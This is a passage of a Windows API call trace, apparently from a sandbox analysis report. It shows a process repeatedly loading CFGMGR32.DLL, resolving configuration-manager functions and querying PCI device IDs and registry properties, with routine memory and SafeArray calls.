lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.722] malloc (_Size=0x18) returned 0x20abc281c60 [0240.723] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0240.723] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b401bb3, dwHighDateTime=0x1d9eb0c)) [0240.724] SetEvent (hEvent=0x248) returned 1 [0240.730] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.730] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.731] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.734] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.735] malloc (_Size=0x18) returned 0x20abc281c80 [0240.735] CM_Get_Device_IDA (in: dnDevInst=0x31, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_29C0&SUBSYS_11001AF4&REV_00\\3&11583659&0&00") returned 0x0 [0240.735] malloc (_Size=0x48) returned 0x20abc27cb20 [0240.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4b401bb3, dwHighDateTime=0x1d9eb0c)) [0240.736] SetEvent (hEvent=0x248) returned 1 [0240.872] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.872] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.873] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.874] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.877] malloc (_Size=0x18) returned 0x20abc281e80 [0240.877] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0240.878] malloc (_Size=0x124) returned 0x20abc286870 [0240.878] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0240.879] free (_Block=0x20abc286870) [0240.879] malloc (_Size=0x48) returned 0x20abc27cf80 [0240.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4b57f0a3, dwHighDateTime=0x1d9eb0c)) [0240.879] SetEvent (hEvent=0x248) returned 1 [0240.883] malloc (_Size=0x18) returned 0x20abc281ee0 [0240.883] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.883] free (_Block=0x20abc281ee0) [0240.883] malloc (_Size=0x18) returned 0x20abc281a20 [0240.883] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.883] free (_Block=0x20abc281a20) [0240.883] malloc (_Size=0x18) returned 0x20abc281ee0 [0240.883] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.883] free (_Block=0x20abc281ee0) [0240.883] malloc (_Size=0x18) returned 0x20abc281e40 [0240.884] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.884] free (_Block=0x20abc281e40) [0240.884] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c370 [0240.884] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0240.884] SafeArrayGetLBound (in: psa=0x20abbaf20e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0240.884] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0240.884] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79550 [0240.884] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0240.884] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0240.884] SafeArrayGetElemsize (psa=0x20abbaf20e0) returned 0x8 [0240.884] SafeArrayGetElement (in: psa=0x20abbaf20e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0240.885] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.885] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.885] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.885] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.886] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79550) returned 1 [0240.886] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c370) returned 1 [0240.887] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.887] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.888] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0240.892] malloc (_Size=0x18) returned 0x20abc281b40 [0240.892] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0240.892] malloc (_Size=0x10e) returned 0x20abc286870 [0240.893] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0240.894] free (_Block=0x20abc286870) [0240.894] malloc (_Size=0x48) returned 0x20abc2abd60 [0240.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4b5a53f0, dwHighDateTime=0x1d9eb0c)) [0240.894] SetEvent (hEvent=0x248) returned 1 [0240.898] malloc (_Size=0x18) returned 0x20abc281ea0 [0240.898] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0240.898] free (_Block=0x20abc281ea0) [0240.898] malloc (_Size=0x18) returned 0x20abc282080 [0240.898] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0240.898] free (_Block=0x20abc282080) [0240.898] malloc (_Size=0x18) returned 0x20abc281a00 [0240.898] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0240.898] free (_Block=0x20abc281a00) [0240.898] malloc (_Size=0x18) returned 0x20abc281f80 [0240.898] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0240.899] free (_Block=0x20abc281f80) [0240.899] malloc (_Size=0x18) returned 0x20abc281e60 [0240.899] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0240.899] free (_Block=0x20abc281e60) [0240.899] malloc (_Size=0x18) returned 0x20abc281ce0 [0240.899] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0240.899] free (_Block=0x20abc281ce0) [0240.899] malloc (_Size=0x18) returned 0x20abc281b20 [0240.899] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0240.899] free (_Block=0x20abc281b20) [0240.899] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c570 [0240.899] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0240.899] SafeArrayGetLBound (in: psa=0x20abbaf22a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0240.899] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0240.899] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0240.899] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0240.900] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0240.900] SafeArrayGetElemsize (psa=0x20abbaf22a0) returned 0x8 [0240.900] SafeArrayGetElement (in: psa=0x20abbaf22a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0240.900] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1bd0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.900] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1bd8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.901] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1be0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.901] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1be8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.901] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1bf0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.901] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1bf8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.902] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1c00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0240.902] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0240.903] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c570) returned 1 [0240.904] malloc (_Size=0xd8) returned 0x20abc284e70 [0240.904] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0240.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0240.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0240.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0240.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0240.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0240.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0240.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0240.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0240.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0240.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0240.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0240.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0240.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0240.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0240.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0240.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0240.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0240.907] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0240.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0240.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0240.908] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.054] malloc (_Size=0x18) returned 0x20abc281c20 [0241.054] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.059] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b7228c6, dwHighDateTime=0x1d9eb0c)) [0241.059] SetEvent (hEvent=0x248) returned 1 [0241.064] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.064] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.067] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.068] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.069] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.070] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.070] malloc (_Size=0x18) returned 0x20abc281fa0 [0241.070] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.070] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b748d83, dwHighDateTime=0x1d9eb0c)) [0241.071] SetEvent (hEvent=0x248) returned 1 [0241.076] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.076] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.077] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.079] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.080] GetProcAddress 